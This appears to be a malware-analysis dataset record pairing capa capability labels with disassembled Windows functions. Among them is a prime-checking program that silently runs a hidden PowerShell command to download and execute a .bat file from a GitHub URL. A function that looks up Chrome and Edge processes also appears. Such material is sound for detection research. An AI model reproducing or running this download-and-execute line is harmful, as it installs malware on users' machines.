joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800011b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rdi
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, r9
mov rbx, r8
mov r14, rdx
mov r13, rcx
test r8b, 0xf
jne 0x1800012ce
mov r15, rbx
shr r15, 4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rdi], rax
mov rbx, rax
test rax, rax
je 0x1800012ce
mov qword [rsp + 0x68], rsi
lea rsi, [r13 + 0xf0]
test r15, r15
je 0x1800012ba
mov qword [rsp + 0x60], rbp
mov rdi, rsi
mov qword [rsp + 0x70], r12
lea rbp, [rax + 0xf]
movaps xmmword [rsp + 0x20], xmm6
lea r12, [rsi + 0xf]
sub rdi, rax
nop dword [rax]
nop word [rax + rax]
movups xmm6, xmmword [r14]
mov r9, r14
mov r8, rbx
mov edx, 0xe
mov rcx, r13
call fcn.180001320
cmp rbx, r12
ja 0x180001282
cmp rbp, rsi
jb 0x180001282
mov rax, rbx
mov edx, 0x10
nop dword [rax]
movzx ecx, byte [rdi + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x180001270
jmp 0x180001292
movdqu xmm1, xmmword [rbx]
movdqu xmm0, xmmword [rsi]
pxor xmm1, xmm0
movdqu xmmword [rbx], xmm1
add rbx, 0x10
add rbp, 0x10
sub rdi, 0x10
add r14, 0x10
movups xmmword [rsi], xmm6
sub r15, 1
jne 0x180001240
movaps xmm6, xmmword [rsp + 0x20]
mov r12, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov al, 1
add rsp, 0x30
pop r15
pop r14
pop r13
pop rdi
pop rbx
ret
xor al, al
add rsp, 0x30
pop r15
pop r14
pop r13
pop rdi
pop rbx
ret
Function at 0x180002a70
Capabilities:
Get common file path
Parse pe header

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x278]
sub rsp, 0x378
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
xor ebx, ebx
xor edx, edx
mov r8d, 0x100
mov qword [rbp + 0x2a0], rbx
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.180002cb0
mov qword [rbp + 0x290], rbx
mov qword [rbp + 0x298], rbx
call fcn.1800034b0
test eax, eax
jne 0x180002ca4
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0x208
call fcn.180002cb0
lea rax, [rbp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [rbx + 0xe]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [fcn.180002a70]
mov r8d, 0x5a4d
mov r9d, 0x20b
cmp word [rcx], r8w
jne 0x180002b23
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rdx + rcx], 0x4550
jne 0x180002b23
test word [rdx + rcx + 0x18], r9w
jne 0x180002b28
dec rcx
jmp 0x180002b08
mov r9d, dword [rdx + rcx + 0x98]
movzx r8d, word [r9 + rcx + 0xe]
lea r10, [r9 + rcx]
movzx eax, word [r10 + 0xc]
add r8, rax
je 0x180002ca4
nop dword [rax + rax]
mov eax, dword [r10 + rbx*8 + 0x14]
test eax, eax
jns 0x180002ca4
btr eax, 0x1f
add rax, r9
mov edx, dword [rax + rcx + 0x14]
test edx, edx
jns 0x180002b74
cmp word [rax + rcx + 0x10], 0x69
je 0x180002b88
inc rbx
cmp rbx, r8
jb 0x180002b50
xor eax, eax
add rsp, 0x378
pop rbx
pop rbp
ret
btr edx, 0x1f
add rdx, r9
mov eax, dword [rdx + rcx + 0x14]
btr eax, 0x1f
add rax, r9
mov ebx, dword [rax + rcx]
add rbx, rcx
mov ecx, dword [rax + rcx + 4]
je 0x180002ca4
test ecx, ecx
je 0x180002ca4
mov qword [rsp + 0x370], rdi
mov r8d, 0x20
lea edi, [rcx - 0x30]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180003dd0
lea rdx, [rbx + 0x20]
mov r8d, 0x10
lea rcx, [rsp + 0x30]
call fcn.180003dd0
call fcn.1800034e0
test eax, eax
je 0x180002c9c
call fcn.180003250
test eax, eax
je 0x180002c9c
call fcn.180003610
test eax, eax
je 0x180002c9c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.180002740
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1800012e0
mov r8d, edi
lea rdx, [rbx + 0x30]
lea r9, [rbp + 0x2a0]
lea rcx, [rsp + 0x60]
call fcn.1800011b0
test al, al
je 0x180002c9c
lea r8, [rbp + 0x298]
lea rdx, str.msedge.exe
lea rcx, [rbp + 0x290]
call fcn.180003100
test eax, eax
jne 0x180002c86
lea r8, [rbp + 0x298]
lea rdx, str.chrome.exe
lea rcx, [rbp + 0x290]
call fcn.180003100
test eax, eax
je 0x180002c9c
mov rdx, qword [rbp + 0x2a0]
mov r8d, edi
mov rcx, qword [rbp + 0x290]
call fcn.180003350
mov rdi, qword [rsp + 0x370]
xor eax, eax
add rsp, 0x378
pop rbx
pop rbp
ret
Function at 0x180003ba0
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
mov r10, rcx
mov eax, 0xffffffff
movzx ecx, byte [rcx]
test cl, cl
je 0x180003cc9
nop dword [rax]
nop word [rax + rax]
movzx edx, cl
lea r10, [r10 + 1]
mov r8d, edx
shr r8d, 1
lea ecx, [rdx + rdx]
xor r8d, ecx
lea ecx, [rdx + rdx]
and r8d, 0x55555555
xor r8d, ecx
mov edx, r8d
shr edx, 2
lea ecx, [r8*4]
xor edx, ecx
lea ecx, [r8*4]
and edx, 0x33333333
xor edx, ecx
mov r9d, edx
shr edx, 4
and r9d, 0xff0f0f0f
shl r9d, 4
or r9d, edx
lea edx, [rax + rax]
mov r8d, edx
xor r8d, 0x4c11db7
bswap r9d
mov ecx, r9d
xor ecx, eax
cmovns r8d, edx
lea ecx, [r9 + r9]
lea eax, [r8 + r8]
mov edx, eax
xor edx, 0x4c11db7
xor r8d, ecx
cmovns edx, eax
add ecx, ecx
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
xor edx, ecx
cmovns r8d, eax
add ecx, ecx
lea eax, [r8 + r8]
mov edx, eax
xor edx, 0x4c11db7
xor r8d, ecx
cmovns edx, eax
add ecx, ecx
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
xor edx, ecx
cmovns r8d, eax
add ecx, ecx
lea eax, [r8 + r8]
mov edx, eax
xor edx, 0x4c11db7
xor r8d, ecx
cmovns edx, eax
add ecx, ecx
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
xor edx, ecx
cmovns r8d, eax
add ecx, ecx
lea edx, [r8 + r8]
mov eax, edx
xor eax, 0x4c11db7
xor ecx, r8d
movzx ecx, byte [r10]
cmovns eax, edx
test cl, cl
jne 0x180003bc0
not eax
mov edx, eax
shr edx, 1
lea ecx, [rax + rax]
add eax, eax
xor edx, ecx
and edx, 0x55555555
xor edx, eax
mov r8d, edx
shr r8d, 2
lea eax, [rdx*4]
xor r8d, eax
lea eax, [rdx*4]
and r8d, 0x33333333
xor r8d, eax
mov eax, r8d
mov ecx, r8d
shr eax, 4
shl ecx, 4
xor eax, ecx
shl r8d, 4
and eax, 0xf0f0f0f
xor eax, r8d
bswap eax
ret

Function at 0x180003d20
Capabilities:
Encode data using xor

Disassembly:
mov r8, rcx
mov eax, 0xffffffff
movzx ecx, byte [rcx]
test cl, cl
je 0x180003dcc
movzx edx, cl
lea r8, [r8 + 1]
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xed788320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xed788320
xor eax, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x180003d33
not eax
ret
Function at 0x1800086d8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180008708
xor eax, eax
jmp 0x1800087cb
mov rbp, rbx
cmp word [rax], si
je 0x18000872d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180008714
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180008710
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180008628
movsxd r14, eax
test eax, eax
jne 0x18000876b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180008701
mov rcx, r14
call fcn.180009970
mov rdi, rax
test rax, rax
jne 0x180008784
xor ecx, ecx
call fcn.180006c90
jmp 0x180008760
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180008628
test eax, eax
jne 0x1800087b5
mov rcx, rdi
call fcn.180006c90
jmp 0x1800087bf
xor ecx, ecx
call fcn.180006c90
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000df40
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000df68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000df68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400016ba
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x110], 0
mov dword [rbp - 0x20], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x118], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x140001820
jmp 0x1400017ff
mov rax, qword [rbp + 0x130]
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x1400017ff
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 0x18]
mov ecx, eax
call fcn.1400014a4
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov r10, qword [0x1402db080]
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x110]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov rax, qword [rbp + 0x110]
test rax, rax
je 0x1400017e3
mov rax, qword [rbp + 0x110]
cmp rax, 0xffffffffffffffff
je 0x1400017e3
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x110]
jmp 0x14000183a
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
jmp 0x14000183a
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x14000171f
mov rdx, qword [0x1402db078]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
add rsp, 0x1a0
pop rbp
ret
Function at 0x1400138c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001dda0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001dda0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140013930
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1402db144]
mov rbx, rcx
test esi, esi
jle 0x140013a60
mov rax, qword [0x1402db148]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001397b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140013a05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140013960
mov rcx, rbx
call fcn.140014380
mov rdi, rax
test rax, rax
je 0x140013a82
mov rax, qword [0x1402db148]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400144c0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1402db148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140013a67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400139fe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140013a10
add dword [0x1402db144], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1402db148]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400139fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400138c0
nop dword [rax]
xor esi, esi
jmp 0x140013988
mov rax, qword [0x1402db148]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400138c0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400138c0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140013ff0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1402db1a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1402db180]
test rbx, rbx
je 0x14001404c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140014043
test rsi, rsi
je 0x140014043
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140014028
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140014380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1402b50c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400143a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400143a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400143a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400143fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400143f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400143a0
add rax, 0x28
cmp rax, r9
jne 0x1400143e0
xor eax, eax
ret

Function at 0x140014400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1402b50c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001441f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140014428
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001441f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400144c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1402b50c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400144df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400144e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140081610
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140081658
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14008162a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400bc110
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1402ad5c0]
jmp 0x1400151d0

Function at 0x1400bc120
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1402ad5c0]
jmp 0x1400151d0
Function at 0x14001123f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400137e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112d0
Capabilities:
Execute command

Disassembly:
jmp 0x1400164b0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x140023066]
call fcn.1400113e3
lea rdx, str.Hello_world_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.klaskldjkaldqoiweqoweioqwioeqweqwoewqoieuqoeioqwuqoeiwqoeuqwoeuqjcqwejldqe
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0x11
cmp dword [rbp + 0x24], 2
jge 0x14001652b
mov edx, dword [rbp + 0x24]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, str._khong_phai_so_nguyen_to_n
mov rcx, rax
call fcn.140011087
xor eax, eax
jmp 0x1400165d2
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 2
jmp 0x140016543
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
cvtsi2sd xmm0, dword [rbp + 0x64]
movsd qword [rbp + 0x138], xmm0
mov ecx, dword [rbp + 0x24]
call fcn.140011456
movsd xmm1, qword [rbp + 0x138]
comisd xmm0, xmm1
jb 0x14001657d
mov eax, dword [rbp + 0x24]
cdq
idiv dword [rbp + 0x64]
mov eax, edx
test eax, eax
jne 0x14001657b
mov eax, dword [rbp + 0x44]
inc eax
mov dword [rbp + 0x44], eax
jmp 0x14001653b
cmp dword [rbp + 0x44], 0
jne 0x1400165b1
mov edx, dword [rbp + 0x24]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, str._la_so_nguyen_to_n
mov rcx, rax
call fcn.140011087
lea rcx, str.powershell__ep_bypass__w_hidden__c_Invoke_WebRequest_https:__github.com_Kiemtrau205_TestBot_releases_download_sasd_bot___.bat__o_C:UsersPublicSecurity.bat__C:UsersPublicSecurity.bat
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x1400165d0
mov edx, dword [rbp + 0x24]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, str._khong_phai_so_nguyen_to_n
mov rcx, rax
call fcn.140011087
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400112da
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014b30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014b50
xor al, al
jmp 0x140014bd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014b63
xor al, al
jmp 0x140014bd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014b8d
xor al, al
jmp 0x140014bd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014ba1
xor al, al
jmp 0x140014bd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014bb3
xor al, al
jmp 0x140014bd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014bcf
xor al, al
jmp 0x140014bd1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400051d0
Capabilities:
Write clipboard data

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [0x140108f18], 0
mov rdi, r8
mov rsi, rdx
je 0x1400051f7
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
test rsi, rsi
je 0x14000525b
mov eax, 0xffffffff
cmp r8, rax
jne 0x14000521c
or rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x140005210
mov edi, eax
test rdi, rdi
je 0x14000525b
lea rdx, [rdi + 1]
lea rcx, [0x140108f00]
call fcn.140005280
test rax, rax
je 0x1400051ea
mov qword [rsp + 0x30], rbx
mov r8, rdi
mov rbx, qword [0x140108f18]
mov rdx, rsi
mov rcx, rbx
call fcn.1400b44b4
xor eax, eax
mov word [rbx + rdi*2], ax
mov rbx, qword [rsp + 0x30]
lea rcx, [0x140108f00]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.140005340

Function at 0x1400055c0
Capabilities:
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x230
xor ecx, ecx
mov rbx, r8
mov edi, edx
test r8, r8
je 0x1400055dc
mov dword [r8], ecx
lea eax, [rdx - 0xc000]
cmp eax, 0x3fff
ja 0x1400056bb
mov r8d, 0x104
lea rdx, [rsp + 0x20]
mov ecx, edi
call qword [sym.imp.USER32.dll_GetClipboardFormatNameW]
mov r8d, reloc.WSOCK32.dll_inet_ntoa
lea rdx, [0x1400d0360]
lea rcx, [rsp + 0x20]
call fcn.1400ad9d8
test eax, eax
je 0x1400056a8
lea rdx, [0x1400d0378]
lea rcx, [rsp + 0x20]
call fcn.1400ab3f0
test eax, eax
je 0x1400056a8
lea rdx, [0x1400d0390]
lea rcx, [rsp + 0x20]
call fcn.1400ab3f0
test eax, eax
je 0x1400056a8
lea rdx, [0x1400d03a8]
lea rcx, [rsp + 0x20]
call fcn.1400ab3f0
test eax, eax
je 0x1400056a8
lea rdx, [0x1400d03b8]
lea rcx, [rsp + 0x20]
call fcn.1400ab3f0
test eax, eax
je 0x1400056a8
lea rdx, [0x1400d03d8]
lea rcx, [rsp + 0x20]
call fcn.1400ab3f0
test eax, eax
je 0x14000569d
lea rdx, [0x1400d0400]
lea rcx, [rsp + 0x20]
call fcn.1400ab3f0
test eax, eax
jne 0x1400056c0
test rbx, rbx
je 0x1400056a8
mov dword [rbx], 1
xor eax, eax
mov rbx, qword [rsp + 0x240]
add rsp, 0x230
pop rdi
ret
mov word [rsp + 0x20], cx
mov ecx, edi
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, qword [rsp + 0x240]
add rsp, 0x230
pop rdi
ret
Function at 0x14000c2c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
mov eax, 0x1040
call fcn.1400c0680
sub rsp, rax
cmp byte [0x140109b1c], 0
mov rbx, rdx
mov rbp, rcx
jne 0x14000c44d
cmp dword [0x140106d08], 0
jne 0x14000c2fb
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x140106d08], eax
inc dword [0x140109b18]
mov qword [rsp + 0x1050], rsi
mov qword [rsp + 0x1058], rdi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, dword [0x140109b18]
mov ecx, eax
sub ecx, dword [0x140106d08]
cmp r9d, dword [0x140103404]
mov edx, dword [0x140103400]
mov dword [0x140106d04], eax
jbe 0x14000c3b6
cmp ecx, edx
jae 0x14000c3b6
mov dword [rsp + 0x20], ecx
lea r8, [0x1400e35e0]
lea rcx, [rsp + 0x40]
mov edx, 0x800
mov esi, 1
call fcn.14008b520
call fcn.14000b0b0
xor edi, edi
mov byte [0x140109b1c], sil
xor r8d, r8d
mov dword [0x140101a50], edi
lea edx, [rsi + 3]
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x40]
xorps xmm3, xmm3
call fcn.140090ee0
cmp eax, 7
jne 0x14000c3a1
xor r8d, r8d
lea edx, [rsi + 4]
lea rcx, [0x1401082b0]
call fcn.14001b150
mov eax, dword [0x140106d04]
mov dword [0x140101a50], esi
mov byte [0x140109b1c], dil
jmp 0x14000c3be
xor edi, edi
mov esi, edi
cmp ecx, edx
jbe 0x14000c3ce
mov dword [0x140109b18], edi
mov dword [0x140106d08], eax
test esi, esi
jne 0x14000c43d
movzx eax, byte [rbp + 0xf]
lea r8, [0x1400cffc0]
mov byte [0x140108e2e], al
xor r9d, r9d
inc byte [rbx + 0x22]
mov rcx, qword [rbx]
mov dword [rsp + 0x30], edi
mov rdx, rcx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call fcn.140082680
dec byte [rbx + 0x22]
test eax, eax
jne 0x14000c409
mov byte [rbx + 0x27], al
jmp 0x14000c43d
cmp byte [rbx + 0x27], 0
je 0x14000c43d
mov byte [rbx + 0x27], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0x18]
